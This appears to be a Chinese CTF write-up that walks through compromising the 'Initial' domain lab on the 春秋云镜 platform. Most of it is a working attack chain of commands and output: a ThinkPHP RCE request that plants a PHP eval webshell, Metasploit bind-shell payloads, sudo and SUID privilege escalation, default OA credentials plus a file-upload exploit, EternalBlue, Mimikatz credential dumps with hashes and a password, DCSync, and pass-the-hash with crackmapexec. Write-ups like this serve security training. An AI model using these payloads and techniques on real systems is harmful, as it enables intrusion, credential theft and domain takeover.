Initial 春秋云镜域渗透靶场中难度为简单的靶场环境。 该靶场只有一个flag,各部分位于不同的机器上。
tag DCSync
、CVE
、域渗透
信息搜集 先用fscan扫一下机器./fscan.exe -h 39.99.138.127 -nobr
1 2 3 4 5 6 7 start infoscan 39.99.138.127:22 open 39.99.138.127:80 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://39.99.138.127 code:200 len:5578 title:Bootstrap Material Admin [+] PocScan http://39.99.138.127 poc-yaml-thinkphp5023-method-rce poc1
发现thinkphp5023这个rce漏洞,搜索相关漏洞,payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php?s=captcha HTTP/1.1 Host: 39.99.138.127 Content-Length: 72 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://39.99.138.127 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://39.99.138.127/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST[1]);?>' > xx.php
成功写入木马,蚁剑连接即可,这里蚁剑连接的shell不太好用,用msf再建立一个连接,也方便后续进行流量转发,这边因为是公网ip,用正向shell的方法进行连接 这里先本地生成一个正向shell的64位后门msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4567 -f elf -o xx.elf
然后用蚁剑传到靶机的/tmp路径下,并赋予执行权限chmod +x xx.elf
chmod 777 xx.elf
./xx.elf
配置msfmsfconsole
1 2 3 4 5 use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 39.99.138.127 set lport 4567 run
成功连接正向shell
机器15的提权 连接上去之后只是低权限,而flag在root目录下,所以要进行提权
1 2 3 4 5 6 sudo -l Matching Defaults entries for www-data on ubuntu-web01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu-web01: (root) NOPASSWD: /usr/bin/mysql
这里利用sudo -l进行提权,sudo可以列出当前用户被允许通过 sudo 执行的命令及其权限详情
补充: 执行sudo -l后发现类似于如下回显
1 2 3 >User user may run the following commands on target-host: (root) NOPASSWD: /usr/bin/vi (root) NOPASSWD: /usr/bin/awk
1 2 >User postgres may run the following commands on vaccine: (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
利用 vi 提权sudo /bin/vi
:!/bin/bash
利用 awk 提权sudo awk 'BEGIN {system("/bin/bash")}'
利用具有 SUID 权限位的文件进行提权ls -al
-rwsr-xr-x
原本表示文件所有者权限中的 x 权限位,却出现了 s 权限,此种权限通常称为 SetUID,简称 SUID 特殊权限。 SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。 例如你发现/usr/bin/bugtracker具有SUID权限,同时运行后发现其调用的为cat命令,即可通过修改环境变量$PATH来让将环境变量设置到tmp目录,也就意味着执行任意程序时,当前shell优先从tmp目录找命令export PATH=/tmp:$PATH
cd /tmp
echo '/bin/bash' > cat
chmod +x cat
//变为可执行文件
然后运行/usr/bin/bugtracker即可执行/bin/bash命令将我们的权限提升至 root 权限
这里发现mysql可以以root权限运行的同时还没有密码,而mysql可以用-e参数进行命令执行sudo mysql -e "\! /bin/bash"
成功获得root权限,而后获取flag01.txt
横向移动 先把fscan传到机器15上用fscan扫一下内网网段chmod +x fscan
chmod 777 fscan
./fscan -h 172.22.1.0/24
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 root@ubuntu-web01:/tmp# ./fscan -h 172.22.1.0/24 ./fscan -h 172.22.1.0/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 172.22.1.15 is alive (icmp) Target 172.22.1.18 is alive (icmp) Target 172.22.1.2 is alive (icmp) Target 172.22.1.21 is alive [*] Icmp alive hosts len is: 4 172.22.1.18:3306 open 172.22.1.21:445 open 172.22.1.2:445 open 172.22.1.18:445 open 172.22.1.21:139 open 172.22.1.2:139 open 172.22.1.18:139 open 172.22.1.21:135 open 172.22.1.2:135 open 172.22.1.18:135 open 172.22.1.18:80 open 172.22.1.15:80 open 172.22.1.15:22 open 172.22.1.2:88 open [*] alive ports len is: 14 start vulscan [*] NetInfo [*]172.22.1.2 [->]DC01 [->]172.22.1.2 [*] NetInfo [*]172.22.1.21 [->]XIAORANG-WIN7 [->]172.22.1.21 [*] NetInfo [*]172.22.1.18 [->]XIAORANG-OA01 [->]172.22.1.18 [*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393) [+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1) [*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin [*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1 [*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login [*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统 [*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600 [+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
除了本机15之外还有3个机器
172.22.1.2 DC域控 172.22.1.18 存在信呼协同办公系统web服务的windows机器 172.22.1.21 存在永恒之蓝MS17-010漏洞的windows机器
这里我们先打172.22.1.18这台机器,有web服务的话可以利用Stowaway进行流量转发./windows_x64_admin.exe -c 39.99.138.127:8001 -s 123
chmod +x linux_x64_agent
chmod 777 linux_x64_agent
./linux_x64_agent -l 8001 -s 123
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 PS E:\ctf\web\渗透\tools\Stowaway-bin> ./windows_x64_admin.exe -c 39.99.138.127:8001 -s 123 [*] Trying to connect node actively .-') .-') _ ('\ .-') /' ('-. ('\ .-') /' ('-. ( OO ). ( OO) ) '.( OO ),' ( OO ).-. '.( OO ),' ( OO ).-. (_)---\_)/ '._ .-'),-----. ,--./ .--. / . --. /,--./ .--. / . --. / ,--. ,--. / _ | |'--...__)( OO' .-. '| | | | \-. \ | | | | \-. \ \ '.' / \ :' '. '--. .--'/ | | | || | | |,.-'-' | || | | |,.-'-' | | .-') / '..'''.) | | \_) | |\| || |.'.| |_)\| |_.' || |.'.| |_)\| |_.' |(OO \ / .-._) \ | | \ | | | || | | .-. || | | .-. | | / /\_ \ / | | '' '-' '| ,'. | | | | || ,'. | | | | | '-./ /.__) '-----' '--' '-----' '--' '--' '--' '--''--' '--' '--' '--' '--' { v2.2 Author:ph4ntom } [*] Waiting for new connection... [*] Connect to node 39.99.138.127:8001 successfully! Node id is 0 (admin) >> use 0 (node 0) >> forward 8082 172.22.1.18:80 [*] Trying to listen on 0.0.0.0:8082...... [*] Waiting for agent's response...... [*] Forward start successfully!
转发成功后即可在127.0.0.1/8082访问到172.22.1.18:80
机器18的渗透 这里先去搜索信呼协同办公系统v2.2.8相关漏洞,发现存在文件上传等漏洞可以进行利用,同时搜索到
信呼安装之后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户,密码都是123456
同时这里还有一个弱口令admin/admin123也可以进行爆破后登录 直接登录即可,然后利用文件上传漏洞进行渗透 这里在邮件系统中上传一个木马文件,抓包看回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "adddt": "2025-07-31 21:30:50", "valid": 1, "filename": "index.php", "web": "Firefox", "ip": "172.22.1.15", "mknum": "", "fileext": "php", "filesize": 30, "filesizecn": "30.00 Byte", "filepath": "upload/2025-07/31_21305063.uptemp", "optid": 1, "optname": "管理员", "comid": 1, "filetype": "text/x-php", "thumbpath": "", "id": 14, "picw": 0, "pich": 0 }
注意filepath和id两个参数,访问http://127.0.0.1:8082/task.php?m=qcloudCos|runt&a=run&fileid=14
蚁剑连接http://127.0.0.1:8082/upload/2025-07/31_21305063.php
在该机器中找到flag02.txt 同样的,这里蚁剑的shell不好用,所以用msf进行正向shell连接 由于对方机器在内网,所以我们先在msf里面进行流量转发sessions
route add 172.22.1.18/24 5
然后本地生成一个正向shell的windows的64位后门msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5678 -f exe -o xx.exe
然后蚁剑上传 配置msfmsfconsole
1 2 3 4 5 use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set rhost 172.22.1.18 set lport 5678 run
机器21的渗透 这个机器扫出来有永恒之蓝漏洞,我们先用msf进行流量转发然后利用内置payload进行攻击route add 172.22.1.21/24 5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.1.21
exploit
ms17_010_eternalblue连接成功后即可获得meterpreter 这里用ms17_010_eternalblue比较不稳定,可以多跑几次或者用ms17_010_command(记得设置command)或者换个代理方法
ms17_010_command这里还需要一些参数,我们去18那个机器拿,因为18机器运行gituid后发现为system权限,所以可以利用kiwi模块(使用kiwi模块需要system权限),然后用creds_all获取所有凭证sessions 6
load kiwi
creds_all
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 meterpreter > creds_all [+] Running as SYSTEM [*] Retrieving all credentials msv credentials =============== Username Domain NTLM SHA1 -------- ------ ---- ---- Charles XIAORANG f6a9881cd5ae709abb4ac9ab8 99439e2268d0f5063928f523d5 7f24617 d44c8d69be7e34 XIAORANG-OA01$ XIAORANG dc5f050393a7cc83e0518b801 fc0612848c69ce0b4f2afc76e5 5b8b65d 06289e4bc97bd8 XIAORANG-OA01$ XIAORANG d87c972fc49ec955dd227c1c1 e33a635b6cc6c39931023ed2b4 ec1beff 9805207d7cf57e wdigest credentials =================== Username Domain Password -------- ------ -------- (null) (null) (null) Charles XIAORANG (null) XIAORANG-OA01$ XIAORANG (null) kerberos credentials ==================== Username Domain Password -------- ------ -------- (null) (null) (null) Charles XIAORANG.LAB Charlw0yFl8hx
这里我们通过XIAORANG-OA01$的NTLM进行伪造,注意,两个NTLM都试一遍,有一个是失效的,同时设置smbpass由于格式为LM:NTLM,但是LM不重要,所以用0填充
use auxiliary/admin/smb/ms17_010_command
set payload windows/x64/meterpreter/bind_tcp
set rhosts 172.22.1.21
set smbpass 00000000000000000000000000000000:d87c972fc49ec955dd227c1c1ec1beff
set smbdomain XIAORANG.LAB
set smbuser XIAORANG-OA01\$
set commond whoami
exploit
后续可以利用SMB等方法将后门发上传上去后远程执行即可获取meterpertre
机器2的渗透 然后进行DCSync攻击
DCSync利用原理: 利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据
要想使用 DCSync 必须获得以下任一用户的权限: Administrators 组内的用户 Domain Admins 组内的用户 Enterprise Admins 组内的用户域控制器的计算机帐户 我们回到一开始 fscan 的扫描结果,我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件 导出域内哈希load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
1 2 3 4 5 6 7 8 9 10 11 12 [DC] 'xiaorang.lab' will be the domain [DC] 'DC01.xiaorang.lab' will be the DC server [DC] Exporting domain 'xiaorang.lab' [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) 502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514 1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512 1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512 1000 DC01$ 4e5dbcda5175afea09f2af7c2026a595 532480 500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512 1104 XIAORANG-OA01$ d87c972fc49ec955dd227c1c1ec1beff 4096 1108 XIAORANG-WIN7$ 95d6ad215e1b8d5b63ba9726e9e556b6 4096
获得Administrator的hash,然后先利用msf的sock5配合proxychains4进行代理vim /etc/proxychains4.conf
socks5 127.0.0.1 8089 注意将sock4等不需要的参数删掉或#注释掉
利用crackmapexec进行hash传递(PTH:pass the hash)proxychains4 -f /etc/proxychains4.conf crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
获得flag03
额外姿势补充 利用Stowaway进行socks5代理 (比msf稳定很多)
1 vim /etc/proxychains4.conf
socks5 127.0.0.1 12345
代理架设成功后即可直接用proxychains访问内网网段proxychains4 curl -v http://172.22.1.18
回显正常即可代理成功
然后就可以更稳定的直接打永恒之蓝漏洞use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.1.21
exploit
蚁剑插件As-Exploits 反弹Shell 跟MSF联动,与冰蝎和哥斯拉相比新增了bind类型的payload。 本质上是简化了木马生成和文件上传的步骤,以及自动生成msf配置命令 设置绑定类型为MSF-meterpertre-bind-tcp 设置端口为4567 按回显命令配置msfconsole然后exploit即可